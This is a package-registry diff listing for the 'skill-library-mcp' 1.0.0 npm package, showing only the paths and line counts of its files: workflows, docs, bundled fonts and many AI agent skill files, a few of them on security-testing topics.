skill-library-mcp 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (989) hide show
  1. package/.claude/settings.local.json +10 -0
  2. package/.github/workflows/ci.yml +85 -0
  3. package/.github/workflows/release.yml +57 -0
  4. package/.release-please-manifest.json +3 -0
  5. package/CLAUDE.md +60 -0
  6. package/LICENSE +21 -0
  7. package/Makefile +18 -0
  8. package/README.md +222 -0
  9. package/dist/index.js +312 -0
  10. package/docs/architecture.md +61 -0
  11. package/docs/development.md +83 -0
  12. package/package.json +29 -0
  13. package/release-please-config.json +17 -0
  14. package/scripts/import-skills.ts +103 -0
  15. package/skills/3d-web-experience/SKILL.md +254 -0
  16. package/skills/ab-test-setup/SKILL.md +232 -0
  17. package/skills/accessibility-compliance-accessibility-audit/SKILL.md +42 -0
  18. package/skills/accessibility-compliance-accessibility-audit/resources/implementation-playbook.md +502 -0
  19. package/skills/active-directory-attacks/SKILL.md +383 -0
  20. package/skills/activecampaign-automation/SKILL.md +209 -0
  21. package/skills/address-github-comments/SKILL.md +55 -0
  22. package/skills/agent-evaluation/SKILL.md +64 -0
  23. package/skills/agent-manager-skill/SKILL.md +40 -0
  24. package/skills/agent-memory-mcp/SKILL.md +82 -0
  25. package/skills/agent-memory-systems/SKILL.md +67 -0
  26. package/skills/agent-orchestration-improve-agent/SKILL.md +349 -0
  27. package/skills/agent-orchestration-multi-agent-optimize/SKILL.md +239 -0
  28. package/skills/agent-tool-builder/SKILL.md +53 -0
  29. package/skills/ai-agents-architect/SKILL.md +90 -0
  30. package/skills/ai-engineer/SKILL.md +171 -0
  31. package/skills/ai-product/SKILL.md +54 -0
  32. package/skills/ai-wrapper-product/SKILL.md +273 -0
  33. package/skills/airflow-dag-patterns/SKILL.md +41 -0
  34. package/skills/airflow-dag-patterns/resources/implementation-playbook.md +509 -0
  35. package/skills/airtable-automation/SKILL.md +170 -0
  36. package/skills/algolia-search/SKILL.md +66 -0
  37. package/skills/algorithmic-art/LICENSE.txt +202 -0
  38. package/skills/algorithmic-art/SKILL.md +405 -0
  39. package/skills/algorithmic-art/templates/generator_template.js +223 -0
  40. package/skills/algorithmic-art/templates/viewer.html +599 -0
  41. package/skills/amplitude-automation/SKILL.md +216 -0
  42. package/skills/analytics-tracking/SKILL.md +404 -0
  43. package/skills/angular/SKILL.md +821 -0
  44. package/skills/angular-best-practices/SKILL.md +559 -0
  45. package/skills/angular-migration/SKILL.md +428 -0
  46. package/skills/angular-state-management/SKILL.md +634 -0
  47. package/skills/angular-ui-patterns/SKILL.md +508 -0
  48. package/skills/anti-reversing-techniques/SKILL.md +42 -0
  49. package/skills/anti-reversing-techniques/resources/implementation-playbook.md +539 -0
  50. package/skills/antigravity-workflows/SKILL.md +80 -0
  51. package/skills/antigravity-workflows/resources/implementation-playbook.md +36 -0
  52. package/skills/api-design-principles/SKILL.md +37 -0
  53. package/skills/api-design-principles/resources/implementation-playbook.md +513 -0
  54. package/skills/api-documentation-generator/SKILL.md +484 -0
  55. package/skills/api-documenter/SKILL.md +184 -0
  56. package/skills/api-fuzzing-bug-bounty/SKILL.md +433 -0
  57. package/skills/api-patterns/SKILL.md +81 -0
  58. package/skills/api-security-best-practices/SKILL.md +907 -0
  59. package/skills/api-testing-observability-api-mock/SKILL.md +46 -0
  60. package/skills/api-testing-observability-api-mock/resources/implementation-playbook.md +1327 -0
  61. package/skills/app-builder/SKILL.md +75 -0
  62. package/skills/app-store-optimization/SKILL.md +403 -0
  63. package/skills/application-performance-performance-optimization/SKILL.md +154 -0
  64. package/skills/architect-review/SKILL.md +174 -0
  65. package/skills/architecture/SKILL.md +55 -0
  66. package/skills/architecture-decision-records/SKILL.md +441 -0
  67. package/skills/architecture-patterns/SKILL.md +37 -0
  68. package/skills/architecture-patterns/resources/implementation-playbook.md +479 -0
  69. package/skills/arm-cortex-expert/SKILL.md +306 -0
  70. package/skills/asana-automation/SKILL.md +171 -0
  71. package/skills/async-python-patterns/SKILL.md +39 -0
  72. package/skills/async-python-patterns/resources/implementation-playbook.md +678 -0
  73. package/skills/attack-tree-construction/SKILL.md +38 -0
  74. package/skills/attack-tree-construction/resources/implementation-playbook.md +671 -0
  75. package/skills/audio-transcriber/SKILL.md +558 -0
  76. package/skills/auth-implementation-patterns/SKILL.md +39 -0
  77. package/skills/auth-implementation-patterns/resources/implementation-playbook.md +618 -0
  78. package/skills/automate-whatsapp/SKILL.md +257 -0
  79. package/skills/autonomous-agent-patterns/SKILL.md +761 -0
  80. package/skills/autonomous-agents/SKILL.md +68 -0
  81. package/skills/avalonia-layout-zafiro/SKILL.md +59 -0
  82. package/skills/avalonia-viewmodels-zafiro/SKILL.md +29 -0
  83. package/skills/avalonia-zafiro-development/SKILL.md +29 -0
  84. package/skills/aws-penetration-testing/SKILL.md +405 -0
  85. package/skills/aws-serverless/SKILL.md +323 -0
  86. package/skills/aws-skills/SKILL.md +22 -0
  87. package/skills/azure-functions/SKILL.md +42 -0
  88. package/skills/backend-architect/SKILL.md +333 -0
  89. package/skills/backend-dev-guidelines/SKILL.md +342 -0
  90. package/skills/backend-dev-guidelines/resources/architecture-overview.md +451 -0
  91. package/skills/backend-dev-guidelines/resources/async-and-errors.md +307 -0
  92. package/skills/backend-dev-guidelines/resources/complete-examples.md +638 -0
  93. package/skills/backend-dev-guidelines/resources/configuration.md +275 -0
  94. package/skills/backend-dev-guidelines/resources/database-patterns.md +224 -0
  95. package/skills/backend-dev-guidelines/resources/middleware-guide.md +213 -0
  96. package/skills/backend-dev-guidelines/resources/routing-and-controllers.md +756 -0
  97. package/skills/backend-dev-guidelines/resources/sentry-and-monitoring.md +336 -0
  98. package/skills/backend-dev-guidelines/resources/services-and-repositories.md +789 -0
  99. package/skills/backend-dev-guidelines/resources/testing-guide.md +235 -0
  100. package/skills/backend-dev-guidelines/resources/validation-patterns.md +754 -0
  101. package/skills/backend-development-feature-development/SKILL.md +180 -0
  102. package/skills/backend-security-coder/SKILL.md +156 -0
  103. package/skills/backtesting-frameworks/SKILL.md +39 -0
  104. package/skills/backtesting-frameworks/resources/implementation-playbook.md +647 -0
  105. package/skills/bamboohr-automation/SKILL.md +220 -0
  106. package/skills/basecamp-automation/SKILL.md +234 -0
  107. package/skills/bash-defensive-patterns/SKILL.md +43 -0
  108. package/skills/bash-defensive-patterns/resources/implementation-playbook.md +517 -0
  109. package/skills/bash-linux/SKILL.md +199 -0
  110. package/skills/bash-pro/SKILL.md +310 -0
  111. package/skills/bats-testing-patterns/SKILL.md +34 -0
  112. package/skills/bats-testing-patterns/resources/implementation-playbook.md +614 -0
  113. package/skills/bazel-build-optimization/SKILL.md +397 -0
  114. package/skills/beautiful-prose/SKILL.md +22 -0
  115. package/skills/behavioral-modes/SKILL.md +242 -0
  116. package/skills/billing-automation/SKILL.md +42 -0
  117. package/skills/billing-automation/resources/implementation-playbook.md +544 -0
  118. package/skills/binary-analysis-patterns/SKILL.md +450 -0
  119. package/skills/bitbucket-automation/SKILL.md +224 -0
  120. package/skills/blockchain-developer/SKILL.md +208 -0
  121. package/skills/blockrun/SKILL.md +292 -0
  122. package/skills/box-automation/SKILL.md +233 -0
  123. package/skills/brainstorming/SKILL.md +230 -0
  124. package/skills/brand-guidelines-anthropic/SKILL.md +73 -0
  125. package/skills/brevo-automation/SKILL.md +197 -0
  126. package/skills/broken-authentication/SKILL.md +476 -0
  127. package/skills/browser-automation/SKILL.md +70 -0
  128. package/skills/browser-extension-builder/SKILL.md +261 -0
  129. package/skills/bullmq-specialist/SKILL.md +57 -0
  130. package/skills/bun-development/SKILL.md +691 -0
  131. package/skills/burp-suite-testing/SKILL.md +380 -0
  132. package/skills/business-analyst/SKILL.md +182 -0
  133. package/skills/busybox-on-windows/SKILL.md +30 -0
  134. package/skills/c-pro/SKILL.md +56 -0
  135. package/skills/c4-architecture-c4-architecture/SKILL.md +389 -0
  136. package/skills/c4-code/SKILL.md +244 -0
  137. package/skills/c4-component/SKILL.md +153 -0
  138. package/skills/c4-container/SKILL.md +171 -0
  139. package/skills/c4-context/SKILL.md +150 -0
  140. package/skills/cal-com-automation/SKILL.md +203 -0
  141. package/skills/calendly-automation/SKILL.md +211 -0
  142. package/skills/canva-automation/SKILL.md +217 -0
  143. package/skills/canvas-design/LICENSE.txt +202 -0
  144. package/skills/canvas-design/SKILL.md +130 -0
  145. package/skills/canvas-design/canvas-fonts/ArsenalSC-OFL.txt +93 -0
  146. package/skills/canvas-design/canvas-fonts/ArsenalSC-Regular.ttf +0 -0
  147. package/skills/canvas-design/canvas-fonts/BigShoulders-Bold.ttf +0 -0
  148. package/skills/canvas-design/canvas-fonts/BigShoulders-OFL.txt +93 -0
  149. package/skills/canvas-design/canvas-fonts/BigShoulders-Regular.ttf +0 -0
  150. package/skills/canvas-design/canvas-fonts/Boldonse-OFL.txt +93 -0
  151. package/skills/canvas-design/canvas-fonts/Boldonse-Regular.ttf +0 -0
  152. package/skills/canvas-design/canvas-fonts/BricolageGrotesque-Bold.ttf +0 -0
  153. package/skills/canvas-design/canvas-fonts/BricolageGrotesque-OFL.txt +93 -0
  154. package/skills/canvas-design/canvas-fonts/BricolageGrotesque-Regular.ttf +0 -0
  155. package/skills/canvas-design/canvas-fonts/CrimsonPro-Bold.ttf +0 -0
  156. package/skills/canvas-design/canvas-fonts/CrimsonPro-Italic.ttf +0 -0
  157. package/skills/canvas-design/canvas-fonts/CrimsonPro-OFL.txt +93 -0
  158. package/skills/canvas-design/canvas-fonts/CrimsonPro-Regular.ttf +0 -0
  159. package/skills/canvas-design/canvas-fonts/DMMono-OFL.txt +93 -0
  160. package/skills/canvas-design/canvas-fonts/DMMono-Regular.ttf +0 -0
  161. package/skills/canvas-design/canvas-fonts/EricaOne-OFL.txt +94 -0
  162. package/skills/canvas-design/canvas-fonts/EricaOne-Regular.ttf +0 -0
  163. package/skills/canvas-design/canvas-fonts/GeistMono-Bold.ttf +0 -0
  164. package/skills/canvas-design/canvas-fonts/GeistMono-OFL.txt +93 -0
  165. package/skills/canvas-design/canvas-fonts/GeistMono-Regular.ttf +0 -0
  166. package/skills/canvas-design/canvas-fonts/Gloock-OFL.txt +93 -0
  167. package/skills/canvas-design/canvas-fonts/Gloock-Regular.ttf +0 -0
  168. package/skills/canvas-design/canvas-fonts/IBMPlexMono-Bold.ttf +0 -0
  169. package/skills/canvas-design/canvas-fonts/IBMPlexMono-OFL.txt +93 -0
  170. package/skills/canvas-design/canvas-fonts/IBMPlexMono-Regular.ttf +0 -0
  171. package/skills/canvas-design/canvas-fonts/IBMPlexSerif-Bold.ttf +0 -0
  172. package/skills/canvas-design/canvas-fonts/IBMPlexSerif-BoldItalic.ttf +0 -0
  173. package/skills/canvas-design/canvas-fonts/IBMPlexSerif-Italic.ttf +0 -0
  174. package/skills/canvas-design/canvas-fonts/IBMPlexSerif-Regular.ttf +0 -0
  175. package/skills/canvas-design/canvas-fonts/InstrumentSans-Bold.ttf +0 -0
  176. package/skills/canvas-design/canvas-fonts/InstrumentSans-BoldItalic.ttf +0 -0
  177. package/skills/canvas-design/canvas-fonts/InstrumentSans-Italic.ttf +0 -0
  178. package/skills/canvas-design/canvas-fonts/InstrumentSans-OFL.txt +93 -0
  179. package/skills/canvas-design/canvas-fonts/InstrumentSans-Regular.ttf +0 -0
  180. package/skills/canvas-design/canvas-fonts/InstrumentSerif-Italic.ttf +0 -0
  181. package/skills/canvas-design/canvas-fonts/InstrumentSerif-Regular.ttf +0 -0
  182. package/skills/canvas-design/canvas-fonts/Italiana-OFL.txt +93 -0
  183. package/skills/canvas-design/canvas-fonts/Italiana-Regular.ttf +0 -0
  184. package/skills/canvas-design/canvas-fonts/JetBrainsMono-Bold.ttf +0 -0
  185. package/skills/canvas-design/canvas-fonts/JetBrainsMono-OFL.txt +93 -0
  186. package/skills/canvas-design/canvas-fonts/JetBrainsMono-Regular.ttf +0 -0
  187. package/skills/canvas-design/canvas-fonts/Jura-Light.ttf +0 -0
  188. package/skills/canvas-design/canvas-fonts/Jura-Medium.ttf +0 -0
  189. package/skills/canvas-design/canvas-fonts/Jura-OFL.txt +93 -0
  190. package/skills/canvas-design/canvas-fonts/LibreBaskerville-OFL.txt +93 -0
  191. package/skills/canvas-design/canvas-fonts/LibreBaskerville-Regular.ttf +0 -0
  192. package/skills/canvas-design/canvas-fonts/Lora-Bold.ttf +0 -0
  193. package/skills/canvas-design/canvas-fonts/Lora-BoldItalic.ttf +0 -0
  194. package/skills/canvas-design/canvas-fonts/Lora-Italic.ttf +0 -0
  195. package/skills/canvas-design/canvas-fonts/Lora-OFL.txt +93 -0
  196. package/skills/canvas-design/canvas-fonts/Lora-Regular.ttf +0 -0
  197. package/skills/canvas-design/canvas-fonts/NationalPark-Bold.ttf +0 -0
  198. package/skills/canvas-design/canvas-fonts/NationalPark-OFL.txt +93 -0
  199. package/skills/canvas-design/canvas-fonts/NationalPark-Regular.ttf +0 -0
  200. package/skills/canvas-design/canvas-fonts/NothingYouCouldDo-OFL.txt +93 -0
  201. package/skills/canvas-design/canvas-fonts/NothingYouCouldDo-Regular.ttf +0 -0
  202. package/skills/canvas-design/canvas-fonts/Outfit-Bold.ttf +0 -0
  203. package/skills/canvas-design/canvas-fonts/Outfit-OFL.txt +93 -0
  204. package/skills/canvas-design/canvas-fonts/Outfit-Regular.ttf +0 -0
  205. package/skills/canvas-design/canvas-fonts/PixelifySans-Medium.ttf +0 -0
  206. package/skills/canvas-design/canvas-fonts/PixelifySans-OFL.txt +93 -0
  207. package/skills/canvas-design/canvas-fonts/PoiretOne-OFL.txt +93 -0
  208. package/skills/canvas-design/canvas-fonts/PoiretOne-Regular.ttf +0 -0
  209. package/skills/canvas-design/canvas-fonts/RedHatMono-Bold.ttf +0 -0
  210. package/skills/canvas-design/canvas-fonts/RedHatMono-OFL.txt +93 -0
  211. package/skills/canvas-design/canvas-fonts/RedHatMono-Regular.ttf +0 -0
  212. package/skills/canvas-design/canvas-fonts/Silkscreen-OFL.txt +93 -0
  213. package/skills/canvas-design/canvas-fonts/Silkscreen-Regular.ttf +0 -0
  214. package/skills/canvas-design/canvas-fonts/SmoochSans-Medium.ttf +0 -0
  215. package/skills/canvas-design/canvas-fonts/SmoochSans-OFL.txt +93 -0
  216. package/skills/canvas-design/canvas-fonts/Tektur-Medium.ttf +0 -0
  217. package/skills/canvas-design/canvas-fonts/Tektur-OFL.txt +93 -0
  218. package/skills/canvas-design/canvas-fonts/Tektur-Regular.ttf +0 -0
  219. package/skills/canvas-design/canvas-fonts/WorkSans-Bold.ttf +0 -0
  220. package/skills/canvas-design/canvas-fonts/WorkSans-BoldItalic.ttf +0 -0
  221. package/skills/canvas-design/canvas-fonts/WorkSans-Italic.ttf +0 -0
  222. package/skills/canvas-design/canvas-fonts/WorkSans-OFL.txt +93 -0
  223. package/skills/canvas-design/canvas-fonts/WorkSans-Regular.ttf +0 -0
  224. package/skills/canvas-design/canvas-fonts/YoungSerif-OFL.txt +93 -0
  225. package/skills/canvas-design/canvas-fonts/YoungSerif-Regular.ttf +0 -0
  226. package/skills/cc-skill-backend-patterns/SKILL.md +584 -0
  227. package/skills/cc-skill-clickhouse-io/SKILL.md +431 -0
  228. package/skills/cc-skill-coding-standards/SKILL.md +522 -0
  229. package/skills/cc-skill-continuous-learning/SKILL.md +10 -0
  230. package/skills/cc-skill-frontend-patterns/SKILL.md +633 -0
  231. package/skills/cc-skill-project-guidelines-example/SKILL.md +352 -0
  232. package/skills/cc-skill-security-review/SKILL.md +496 -0
  233. package/skills/cc-skill-strategic-compact/SKILL.md +10 -0
  234. package/skills/changelog-automation/SKILL.md +38 -0
  235. package/skills/changelog-automation/resources/implementation-playbook.md +538 -0
  236. package/skills/cicd-automation-workflow-automate/SKILL.md +51 -0
  237. package/skills/cicd-automation-workflow-automate/resources/implementation-playbook.md +1333 -0
  238. package/skills/circleci-automation/SKILL.md +177 -0
  239. package/skills/clarity-gate/SKILL.md +22 -0
  240. package/skills/claude-ally-health/SKILL.md +22 -0
  241. package/skills/claude-code-guide/SKILL.md +68 -0
  242. package/skills/claude-d3js-skill/SKILL.md +820 -0
  243. package/skills/claude-scientific-skills/SKILL.md +22 -0
  244. package/skills/claude-speed-reader/SKILL.md +22 -0
  245. package/skills/claude-win11-speckit-update-skill/SKILL.md +22 -0
  246. package/skills/clean-code/SKILL.md +94 -0
  247. package/skills/clerk-auth/SKILL.md +56 -0
  248. package/skills/clickup-automation/SKILL.md +234 -0
  249. package/skills/close-automation/SKILL.md +212 -0
  250. package/skills/cloud-architect/SKILL.md +135 -0
  251. package/skills/cloud-penetration-testing/SKILL.md +501 -0
  252. package/skills/coda-automation/SKILL.md +241 -0
  253. package/skills/code-documentation-code-explain/SKILL.md +46 -0
  254. package/skills/code-documentation-code-explain/resources/implementation-playbook.md +802 -0
  255. package/skills/code-documentation-doc-generate/SKILL.md +48 -0
  256. package/skills/code-documentation-doc-generate/resources/implementation-playbook.md +640 -0
  257. package/skills/code-refactoring-context-restore/SKILL.md +179 -0
  258. package/skills/code-refactoring-refactor-clean/SKILL.md +51 -0
  259. package/skills/code-refactoring-refactor-clean/resources/implementation-playbook.md +879 -0
  260. package/skills/code-refactoring-tech-debt/SKILL.md +386 -0
  261. package/skills/code-review-ai-ai-review/SKILL.md +450 -0
  262. package/skills/code-review-checklist/SKILL.md +444 -0
  263. package/skills/code-review-excellence/SKILL.md +40 -0
  264. package/skills/code-review-excellence/resources/implementation-playbook.md +515 -0
  265. package/skills/code-reviewer/SKILL.md +178 -0
  266. package/skills/codebase-cleanup-deps-audit/SKILL.md +51 -0
  267. package/skills/codebase-cleanup-deps-audit/resources/implementation-playbook.md +766 -0
  268. package/skills/codebase-cleanup-refactor-clean/SKILL.md +51 -0
  269. package/skills/codebase-cleanup-refactor-clean/resources/implementation-playbook.md +879 -0
  270. package/skills/codebase-cleanup-tech-debt/SKILL.md +386 -0
  271. package/skills/codex-review/SKILL.md +37 -0
  272. package/skills/commit/SKILL.md +171 -0
  273. package/skills/competitive-landscape/SKILL.md +34 -0
  274. package/skills/competitive-landscape/resources/implementation-playbook.md +494 -0
  275. package/skills/competitor-alternatives/SKILL.md +750 -0
  276. package/skills/comprehensive-review-full-review/SKILL.md +146 -0
  277. package/skills/comprehensive-review-pr-enhance/SKILL.md +46 -0
  278. package/skills/comprehensive-review-pr-enhance/resources/implementation-playbook.md +691 -0
  279. package/skills/computer-use-agents/SKILL.md +315 -0
  280. package/skills/computer-vision-expert/SKILL.md +70 -0
  281. package/skills/concise-planning/SKILL.md +62 -0
  282. package/skills/conductor-implement/SKILL.md +388 -0
  283. package/skills/conductor-manage/SKILL.md +39 -0
  284. package/skills/conductor-manage/resources/implementation-playbook.md +1120 -0
  285. package/skills/conductor-new-track/SKILL.md +433 -0
  286. package/skills/conductor-revert/SKILL.md +372 -0
  287. package/skills/conductor-setup/SKILL.md +426 -0
  288. package/skills/conductor-status/SKILL.md +338 -0
  289. package/skills/conductor-validator/SKILL.md +62 -0
  290. package/skills/confluence-automation/SKILL.md +208 -0
  291. package/skills/content-creator/SKILL.md +248 -0
  292. package/skills/content-marketer/SKILL.md +170 -0
  293. package/skills/context-compression/SKILL.md +266 -0
  294. package/skills/context-degradation/SKILL.md +238 -0
  295. package/skills/context-driven-development/SKILL.md +400 -0
  296. package/skills/context-fundamentals/SKILL.md +192 -0
  297. package/skills/context-management-context-restore/SKILL.md +179 -0
  298. package/skills/context-management-context-save/SKILL.md +177 -0
  299. package/skills/context-manager/SKILL.md +185 -0
  300. package/skills/context-optimization/SKILL.md +186 -0
  301. package/skills/context-window-management/SKILL.md +53 -0
  302. package/skills/context7-auto-research/SKILL.md +36 -0
  303. package/skills/conversation-memory/SKILL.md +61 -0
  304. package/skills/convertkit-automation/SKILL.md +195 -0
  305. package/skills/copy-editing/SKILL.md +439 -0
  306. package/skills/copywriting/SKILL.md +225 -0
  307. package/skills/core-components/SKILL.md +264 -0
  308. package/skills/cost-optimization/SKILL.md +286 -0
  309. package/skills/cpp-pro/SKILL.md +59 -0
  310. package/skills/cqrs-implementation/SKILL.md +35 -0
  311. package/skills/cqrs-implementation/resources/implementation-playbook.md +540 -0
  312. package/skills/create-pr/SKILL.md +192 -0
  313. package/skills/crewai/SKILL.md +243 -0
  314. package/skills/csharp-pro/SKILL.md +59 -0
  315. package/skills/culture-index/SKILL.md +43 -0
  316. package/skills/customer-support/SKILL.md +170 -0
  317. package/skills/daily-news-report/SKILL.md +356 -0
  318. package/skills/data-engineer/SKILL.md +224 -0
  319. package/skills/data-engineering-data-driven-feature/SKILL.md +182 -0
  320. package/skills/data-engineering-data-pipeline/SKILL.md +201 -0
  321. package/skills/data-quality-frameworks/SKILL.md +40 -0
  322. package/skills/data-quality-frameworks/resources/implementation-playbook.md +573 -0
  323. package/skills/data-scientist/SKILL.md +199 -0
  324. package/skills/data-storytelling/SKILL.md +465 -0
  325. package/skills/database-admin/SKILL.md +165 -0
  326. package/skills/database-architect/SKILL.md +268 -0
  327. package/skills/database-cloud-optimization-cost-optimize/SKILL.md +44 -0
  328. package/skills/database-cloud-optimization-cost-optimize/resources/implementation-playbook.md +1441 -0
  329. package/skills/database-design/SKILL.md +52 -0
  330. package/skills/database-migration/SKILL.md +436 -0
  331. package/skills/database-migrations-migration-observability/SKILL.md +420 -0
  332. package/skills/database-migrations-sql-migrations/SKILL.md +53 -0
  333. package/skills/database-migrations-sql-migrations/resources/implementation-playbook.md +499 -0
  334. package/skills/database-optimizer/SKILL.md +167 -0
  335. package/skills/datadog-automation/SKILL.md +235 -0
  336. package/skills/dbt-transformation-patterns/SKILL.md +34 -0
  337. package/skills/dbt-transformation-patterns/resources/implementation-playbook.md +547 -0
  338. package/skills/debugger/SKILL.md +49 -0
  339. package/skills/debugging-strategies/SKILL.md +34 -0
  340. package/skills/debugging-strategies/resources/implementation-playbook.md +511 -0
  341. package/skills/debugging-toolkit-smart-debug/SKILL.md +197 -0
  342. package/skills/deep-research/SKILL.md +114 -0
  343. package/skills/defi-protocol-templates/SKILL.md +466 -0
  344. package/skills/dependency-management-deps-audit/SKILL.md +44 -0
  345. package/skills/dependency-management-deps-audit/resources/implementation-playbook.md +766 -0
  346. package/skills/dependency-upgrade/SKILL.md +421 -0
  347. package/skills/deployment-engineer/SKILL.md +170 -0
  348. package/skills/deployment-pipeline-design/SKILL.md +371 -0
  349. package/skills/deployment-procedures/SKILL.md +241 -0
  350. package/skills/deployment-validation-config-validate/SKILL.md +496 -0
  351. package/skills/design-md/SKILL.md +178 -0
  352. package/skills/design-orchestration/SKILL.md +167 -0
  353. package/skills/devops-troubleshooter/SKILL.md +161 -0
  354. package/skills/discord-automation/SKILL.md +187 -0
  355. package/skills/discord-bot-architect/SKILL.md +277 -0
  356. package/skills/dispatching-parallel-agents/SKILL.md +180 -0
  357. package/skills/distributed-debugging-debug-trace/SKILL.md +44 -0
  358. package/skills/distributed-debugging-debug-trace/resources/implementation-playbook.md +1307 -0
  359. package/skills/distributed-tracing/SKILL.md +450 -0
  360. package/skills/django-pro/SKILL.md +180 -0
  361. package/skills/doc-coauthoring/SKILL.md +375 -0
  362. package/skills/docker-expert/SKILL.md +409 -0
  363. package/skills/docs-architect/SKILL.md +98 -0
  364. package/skills/documentation-generation-doc-generate/SKILL.md +48 -0
  365. package/skills/documentation-generation-doc-generate/resources/implementation-playbook.md +640 -0
  366. package/skills/documentation-templates/SKILL.md +194 -0
  367. package/skills/docusign-automation/SKILL.md +208 -0
  368. package/skills/dotnet-architect/SKILL.md +197 -0
  369. package/skills/dotnet-backend/SKILL.md +266 -0
  370. package/skills/dotnet-backend-patterns/SKILL.md +37 -0
  371. package/skills/dotnet-backend-patterns/resources/implementation-playbook.md +799 -0
  372. package/skills/dropbox-automation/SKILL.md +230 -0
  373. package/skills/dx-optimizer/SKILL.md +83 -0
  374. package/skills/e2e-testing-patterns/SKILL.md +41 -0
  375. package/skills/e2e-testing-patterns/resources/implementation-playbook.md +531 -0
  376. package/skills/elixir-pro/SKILL.md +59 -0
  377. package/skills/email-sequence/SKILL.md +925 -0
  378. package/skills/email-systems/SKILL.md +54 -0
  379. package/skills/embedding-strategies/SKILL.md +491 -0
  380. package/skills/employment-contract-templates/SKILL.md +39 -0
  381. package/skills/employment-contract-templates/resources/implementation-playbook.md +493 -0
  382. package/skills/environment-setup-guide/SKILL.md +479 -0
  383. package/skills/error-debugging-error-analysis/SKILL.md +47 -0
  384. package/skills/error-debugging-error-analysis/resources/implementation-playbook.md +1143 -0
  385. package/skills/error-debugging-error-trace/SKILL.md +43 -0
  386. package/skills/error-debugging-error-trace/resources/implementation-playbook.md +1361 -0
  387. package/skills/error-debugging-multi-agent-review/SKILL.md +216 -0
  388. package/skills/error-detective/SKILL.md +53 -0
  389. package/skills/error-diagnostics-error-analysis/SKILL.md +47 -0
  390. package/skills/error-diagnostics-error-analysis/resources/implementation-playbook.md +1143 -0
  391. package/skills/error-diagnostics-error-trace/SKILL.md +48 -0
  392. package/skills/error-diagnostics-error-trace/resources/implementation-playbook.md +1371 -0
  393. package/skills/error-diagnostics-smart-debug/SKILL.md +197 -0
  394. package/skills/error-handling-patterns/SKILL.md +35 -0
  395. package/skills/error-handling-patterns/resources/implementation-playbook.md +635 -0
  396. package/skills/ethical-hacking-methodology/SKILL.md +466 -0
  397. package/skills/evaluation/SKILL.md +238 -0
  398. package/skills/event-sourcing-architect/SKILL.md +58 -0
  399. package/skills/event-store-design/SKILL.md +449 -0
  400. package/skills/exa-search/SKILL.md +36 -0
  401. package/skills/executing-plans/SKILL.md +76 -0
  402. package/skills/expo-deployment/SKILL.md +72 -0
  403. package/skills/fal-audio/SKILL.md +22 -0
  404. package/skills/fal-generate/SKILL.md +22 -0
  405. package/skills/fal-image-edit/SKILL.md +22 -0
  406. package/skills/fal-platform/SKILL.md +22 -0
  407. package/skills/fal-upscale/SKILL.md +22 -0
  408. package/skills/fal-workflow/SKILL.md +22 -0
  409. package/skills/fastapi-pro/SKILL.md +192 -0
  410. package/skills/fastapi-templates/SKILL.md +32 -0
  411. package/skills/fastapi-templates/resources/implementation-playbook.md +566 -0
  412. package/skills/ffuf-claude-skill/SKILL.md +22 -0
  413. package/skills/figma-automation/SKILL.md +181 -0
  414. package/skills/file-organizer/SKILL.md +250 -0
  415. package/skills/file-path-traversal/SKILL.md +486 -0
  416. package/skills/file-uploads/SKILL.md +22 -0
  417. package/skills/find-bugs/SKILL.md +86 -0
  418. package/skills/finishing-a-development-branch/SKILL.md +200 -0
  419. package/skills/firebase/SKILL.md +56 -0
  420. package/skills/firecrawl-scraper/SKILL.md +37 -0
  421. package/skills/firmware-analyst/SKILL.md +320 -0
  422. package/skills/fix-review/SKILL.md +53 -0
  423. package/skills/flutter-expert/SKILL.md +200 -0
  424. package/skills/form-cro/SKILL.md +441 -0
  425. package/skills/fp-ts-errors/SKILL.md +856 -0
  426. package/skills/fp-ts-pragmatic/SKILL.md +598 -0
  427. package/skills/fp-ts-react/SKILL.md +796 -0
  428. package/skills/framework-migration-code-migrate/SKILL.md +48 -0
  429. package/skills/framework-migration-code-migrate/resources/implementation-playbook.md +1052 -0
  430. package/skills/framework-migration-deps-upgrade/SKILL.md +48 -0
  431. package/skills/framework-migration-deps-upgrade/resources/implementation-playbook.md +755 -0
  432. package/skills/framework-migration-legacy-modernize/SKILL.md +132 -0
  433. package/skills/free-tool-strategy/SKILL.md +576 -0
  434. package/skills/freshdesk-automation/SKILL.md +219 -0
  435. package/skills/freshservice-automation/SKILL.md +213 -0
  436. package/skills/frontend-design/LICENSE.txt +177 -0
  437. package/skills/frontend-design/SKILL.md +42 -0
  438. package/skills/frontend-dev-guidelines/SKILL.md +359 -0
  439. package/skills/frontend-dev-guidelines/resources/common-patterns.md +331 -0
  440. package/skills/frontend-dev-guidelines/resources/complete-examples.md +872 -0
  441. package/skills/frontend-dev-guidelines/resources/component-patterns.md +502 -0
  442. package/skills/frontend-dev-guidelines/resources/data-fetching.md +767 -0
  443. package/skills/frontend-dev-guidelines/resources/file-organization.md +502 -0
  444. package/skills/frontend-dev-guidelines/resources/loading-and-error-states.md +501 -0
  445. package/skills/frontend-dev-guidelines/resources/performance.md +406 -0
  446. package/skills/frontend-dev-guidelines/resources/routing-guide.md +364 -0
  447. package/skills/frontend-dev-guidelines/resources/styling-guide.md +428 -0
  448. package/skills/frontend-dev-guidelines/resources/typescript-standards.md +418 -0
  449. package/skills/frontend-developer/SKILL.md +171 -0
  450. package/skills/frontend-mobile-development-component-scaffold/SKILL.md +403 -0
  451. package/skills/frontend-mobile-security-xss-scan/SKILL.md +322 -0
  452. package/skills/frontend-security-coder/SKILL.md +170 -0
  453. package/skills/frontend-slides/SKILL.md +770 -0
  454. package/skills/full-stack-orchestration-full-stack-feature/SKILL.md +135 -0
  455. package/skills/game-development/SKILL.md +167 -0
  456. package/skills/gcp-cloud-run/SKILL.md +288 -0
  457. package/skills/gdpr-data-handling/SKILL.md +33 -0
  458. package/skills/gdpr-data-handling/resources/implementation-playbook.md +615 -0
  459. package/skills/geo-fundamentals/SKILL.md +156 -0
  460. package/skills/git-advanced-workflows/SKILL.md +412 -0
  461. package/skills/git-pr-workflows-git-workflow/SKILL.md +140 -0
  462. package/skills/git-pr-workflows-onboard/SKILL.md +416 -0
  463. package/skills/git-pr-workflows-pr-enhance/SKILL.md +48 -0
  464. package/skills/git-pr-workflows-pr-enhance/resources/implementation-playbook.md +701 -0
  465. package/skills/git-pushing/SKILL.md +33 -0
  466. package/skills/github-actions-templates/SKILL.md +345 -0
  467. package/skills/github-automation/SKILL.md +227 -0
  468. package/skills/github-workflow-automation/SKILL.md +846 -0
